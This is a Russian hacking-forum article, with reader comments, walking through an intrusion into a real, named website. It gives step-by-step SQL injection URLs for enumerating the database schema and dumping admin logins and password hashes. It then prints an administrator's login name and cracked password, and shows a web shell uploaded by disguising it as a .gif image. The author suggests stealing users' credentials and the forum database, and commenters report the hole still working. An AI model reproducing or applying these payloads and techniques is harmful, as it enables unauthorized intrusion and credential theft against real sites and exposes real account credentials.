SQL injection и заливка шелла (на примере) — HackZona.Ru

SQL injection и заливка шелла (на примере)

SQL injection и заливка шелла (на примере)

Тип статьи:
Со старой ХакЗоны.
Источник:
Доброго времени суток, читатель!

Итак, вот моя предыстория.
Чуть больше чем пол года назад, я напоролся на один портал, где в URLe заметил запрос вида "...modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3".
Даже не надеясь на чудо, в конец урла я подставил одинарную кавычку '.
И что мы видим? А видим мы ошибочку MySQL:
1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY p.pid DESC LIMIT 0, 20' at line 12

Круто!!! Значит уязвимость уже имеет место быть :). Далее я просто, и так же как описанно во многих статьях по SQL injection упёр пароль админа. Ничего портить не стал. Написал письмо админу, пообщался с ним, получил благодарность и обещание поставить банер одного сайта на его...
И всё… Ни банера, ни пароля админа. «Ну ладно», подумал я, «может быть забыл просто...»

С тех пор прошло много времени, и вдруг я снова напоролся на этот сайт. Меня отпугнул вид скачащих по всему экрану банеров, да не просто банеров, а реклама всяких казино и голых тётенек. Эх… Наверное денег приносит не мало такая реклама? Раз админ решил её показывать.
Стало интересно, пофиксил ли админ проблему? Ану ка попробуем:

www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3'
Опачки!!! И что мы видим?
1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY p.pid DESC LIMIT 0, 20' at line 12
Ошибка не пофикшена

И тут я решил довести своё дело до конца, проникнуть в админку и самому поставить ссылку на нужный сайт (PR у emultrix не малый, ссылка на сайт подняла бы его посещаимость).

Теперь заканчиваем предисловие и приступаем не посредственно к взлому!

1. Убедимся что уязвимость действительно существует, попробуем выполнить простую арифметическую операцию. Не забывайте ставить знак комментария в конце URLа, наврядли он на что то повлияет, но так красивше:
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=4-1/*

И что мы видим? А видим мы результат этого запроса
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3

Апупенно 4-1=3, всё правильно!

2. Теперь давайте подберём колличество полей, это нам нужно для того, что бы вывести нужную нам информацию из БД. Для подбора колличества полей можно использовать конструкцию типа select 1,2,3,4,5… Нам будут валисться ошибки до тех пор, пока мы не введём правильное колличество полей. Но это очень неудобно в том случае, если полей более 20-ти.
Я исспользую выражение order by...
Сейчас вы увидите как это работает, действуем методом исключения:
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+10/*
Информация показана верно — значит полей больше 10-ти или 10.
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+50/*
Ошибка, значит полей меньше 60-ти.

Продалжаем в том же духе:
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+30/*
Обработалось правильно
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+50/*
ошибка
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+40/*
Правильно
Значит полей у нас от 40 до 50, продолжаем:
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+45/*
Правильно
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+order+by+49/*
Правильно!!! А на 50 выдавалась ошибка, значит у нас 49 полей.
Представляете что было бы если бы вы перебирали все 49 значений в ручную. Вашу работу закончили бы ваши внуки :)

Если вам не понятна работа этой системы, сейчас нарисую:
| ////
1 45 49 50

Сначала мы определяем граничные значения, мы взяли 10 в качестве начального значения и 50 в качестве конечного, потом стали постепенно отсекать:
1-50
30-50 (оба значения были верны, отсюдого делаем вывод что полей у нас от 30-ти до 50)
и.тд

3. С полями определились, давайте посмотрим, выводится ли введённая нами информация. Проскролим страницу ниже и видим что то подобное этому:
6 1
7 2
8 3
9 4
0 5
2 9

Что же это такое?! А это, дорогие друзья, те циферки что мы вводили в урл!!!
Значит информация всё же выводится. Прелестно!

4. Я исспользовал третье поле для вывода информации (потом вам прийдётся комбинировать поля, для того что бы не выводит информацию по очереди, а получить её сразу). Для того что бы у нас была возможность выполнять запросы, мы должны исспользовать команду union, она объединяет запросы. После union уже непосредственно выполняем запрос.

Для того что бы вам было понятно как мы обращаемся к БД, я приведу конструкцию:

SELECT something FROM anything WHERE something_else = anything_known/*
ВЫБРАТЬ что-нибудь ИЗ чего-нибудь ГДЕ что-нибудь_другое = чему-нибудь_ивестному_нам/*

Давайте узнаем версию mysql, которая установлена на сервере (команда version() ):

www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/*

Пролистаем страницу вниз, и видим что на месте, где у нас показывалась тройка, теперь красуется — 5.0.41-community
Классно! Версия MySQL 5.0.41, а в версиях MySQL после 5-й есть таблица INFORMATION_CHEMA. Расскажу вкратце про неё:
Эта таблица, где записаны все имена таблиц в БД и их полей, а значит нам теперь не нужно подбирать имена таблиц и колонок в них, теперь мы можем просто посмотреть их имена. А делается это таким образом:
— Узнаём имена таблиц. Используем колонку table_name из таблицы TABLES в базе данных INFORMATION_SCHEMA:

www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+from+INFORMATION_SCHEMA.TABLES/*

Пролистаем страницу вниз, и видим что появилось достаточно много новых записей, на том месте где раньше была тройка, во всех записях стоят имена таблиц.


-Узнаём имена колонок из интересующей нас таблицыНам нужен доступ к админке, значит смотрим таблицу админов «spnuke_admins». Используем колонку column_name из таблицы COLUMNS в базе данных INFORMATION_SCHEMA, где имя таблицы spnuke_admins:

www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+union+select+1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=char(115,112,110,117,107,101,95,97,100,109,105,110,115)/*

Пролистаем страницу ниже и видим имена таблиц:
admins_login
admins_key_name
admins_email
admins_password

Интересующие нас таблицы:
admins_login и admins_password

У вас наверняка возник вопрос, что это такое в урле — char(115,112,110,117,107,101,95,97,100,109,105,110,115).
Это spnuke_admins, но только перекодированое в номера символов из таблицы ASCII кодов (http://ascii.org.ru/).
Дело в том, что мы вынуждены после запроса «where+table_name=» поставить одинарные кавычки, а в них уже вписать spnuke_admins. Но после того как мы пошлём на сервер запрос: where+table_name='spnuke_admins', а он в свою очередь пошлёт далеко-далеко. А избежать этого мы можем оператором char().

Надеюсь вы разобрались в этом, так что продолжаем.

5. Теперь приступаем к извлечению сладостей :). Узнаем имена админов. Используем колонку admins_login из таблицы spnuke_admins:

www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+union+select+1,2,admins_login,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+from+spnuke_admins/*

Листаем страницу вниз и видим логины админов этого сайта:
# Admin
# Ferz
# ewgenij
# pitbul
# Duschmann
# Sako
# stasm
# roman
# ekctpa
# stinker
# -=TaNaToS=-
# avanes
# -®=TriToN=®-

6. Теперь узнаем их пароли. Помните я вам говорил о том что вам прийдётся комбинировать запросы? Сейчас именно тот случай. Мы будем исспользовать 3-е и 37-е поля. Так пароль юзера будет показываться напротив логина:
www.emultrix.com/modules.php?name=Mediacatalog&pa;=Newsreliz&catnewid;=3+union+select+1,2,admins_login,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,admins_password,38,39,40,41,42,43,44,45,46,47,48,49+from+spnuke_admins/*

Опять пролистывам страницу и видим хеш паролей напротив логинов юзеров:

# Sako 91a7e942c18741ebb9458243a7bd028b


Дело в том что MySQL не хранит пароли пользователей в открытом виде. Он их шифрует в MD5 хеш. Расшифровать MD5 код нельзя, но вот забрутфорсить или подобрать код по Rainbow Tables — это можно :). Для быстрого подбора я исспользую програмульку «Multi_MD5_Online_Hash_Cracker» www.opensc.ws/attachments/samples/1423d1208685770-delphi-multi-md5-online-hash-cracker-v0-1-multi_md5_online_hash_cracker_v0.1by_contex.rar
Программа использует online rainbow tables. Паролей в них не очень много, но зато не нужно годами брутфорсить пароли.

Итак вот результат подбора паролей к шешам:
# Sako — 2099141

Остальные пароли не интересны :). Так как у этих админов урезанные прова. А вот у юзера Sako, теже прова что и у пользователя Admin.

7. Итак, момент истины!!! Логинимся в систему.

www.emultrix.com/admin.php
login — sako
password — 2099141

Урра!!! Залогинились! Я админ этого сайта, зашибись!
Но потом я подумал: «Ну поимел права админа… И что? Ведь и раньше мне удавалось достичь подобного, на других сайтах. Но ведь хочется большего!».
Тут я решил залить php шел на сервер, тогда у меня будет доступ не только к сайту, но и к файлам самого сайта (тоесть к исходникам)! Это уже интересно.

После этого я долго искал, как же мне залить этот шел на сервак. Ничего не мог найти, из форм заливки файлов я нашёл только загрузчик картинок.

С чем не шутят… Попробовал залить в него php файл с шелом. В следствии чего получил матюк, мол, нехрена нам всякий мусор подсовывать, давай картинки!

Мучался мучался и наконец домучался, а в друг программисты сделали только проверку на название файла?

8. Давайте припишем к нашему шелу расширение gif (shell.php.gif).

9. Заливаем полученный файл c помощью формы загрузки картинок. Ух ты залился! Здорово, но толку от этого? Расширение поменяли, теперь не запустится наверное… Но попробовать стоит..
10. После заливки файла мы получили ссылку на него, теперь попробуем его открыть:
www.emultrix.com/uploads/shell.php.gif

УРА! УРА! УРА!
Шел нормально открылся!!!
Теперь мы можем делать всё что угодно, можем запрятать свой шел подальше, можем переписать форму регистрации и получать логины и пароли юзеров при их регистрации, можно даже стырить базу данных форума. Юзеров там не меряно, а это емеил адреса и номера ICQ — почти конфиденциальная информация. Пароли захешены с солью, фокус с онлайн подборщиками не пройдёт, можно забрутфорсить, но я не маньяк.

Что же я решил сделать… Напишу ещё раз админу, пускай фиксит или ищет того кто зафиксит.
А я напишу статейку и сниму видео. Читайте и смотрите в радость :)


С Уважением.
4n6}{4|{4

Если возникнут вопросы, пишите в асю, с удовольствием помогу чем смогу.
ICQ — 8790249

Линка на видео описываемого взлома (видео, коротенькое описание и расширенное описание):
depositfiles.com/files/vad46inbi — (10mb)
Нравится
Не нравится

12 комментариев

14:56
хорошо всё расписал автор. отличная статья.
00:54
респект тебе, первый мой взлом по мимо unlim-ов
отличная статья, вообщем спасибо автору, пиши больше!!!
21:47
уязвимость и сейчас актуальна на этом сайте что в примере
20:54
>>Дело в том что MySQL не хранит пароли пользователей в открытом виде. Он их шифрует в MD5 хеш.

Полнейший гон, в даном случае это зависит от движка.
23:38
Cmucl
Может быть нужно было описать процедуру шифрования для данного случая? В каком виде пароль хранился в таблице?
Ты просто к словам придераешься :)
20:18
Народ а че мне делать если я нашел ошибку и проверил таблицы, а оказалось что она всего одна:((?
19:52
статя супер тока сайтов негде немагу найти с такими багами шоб инекцию. как зайдош на сайт так и видиш или пропачен или админ все дири позакривал, хрен ми уже поломаеш сайти с такими дирами развишо если гдето там попадотса 1,2 сайто то щитай шо ета мана небесная...
19:49
Ну дык, программисты ведь не дураки :) Дыры фиксят, но всякое бывает, как видишь и такие дыры на раскрученых сайтах встречаются.
01:02
ето первая статейка по sql иньеккцыям которуя я полностю понял)))))Спасибо ОГРОМНОЕ автору !!!!Пиши пожалуста побольше ТАКИХ статей!!!
19:08
статья отличная!жаль попробовать нельзя..щас уже наконцто нет этой дыры..
Hai
11:09
Прикол http://www.emultrix.com/modules.php?name=Mediacatalog&pa=Newsreliz&catnewid=3! Дыра все еще работает!!!
17:07
супер статья!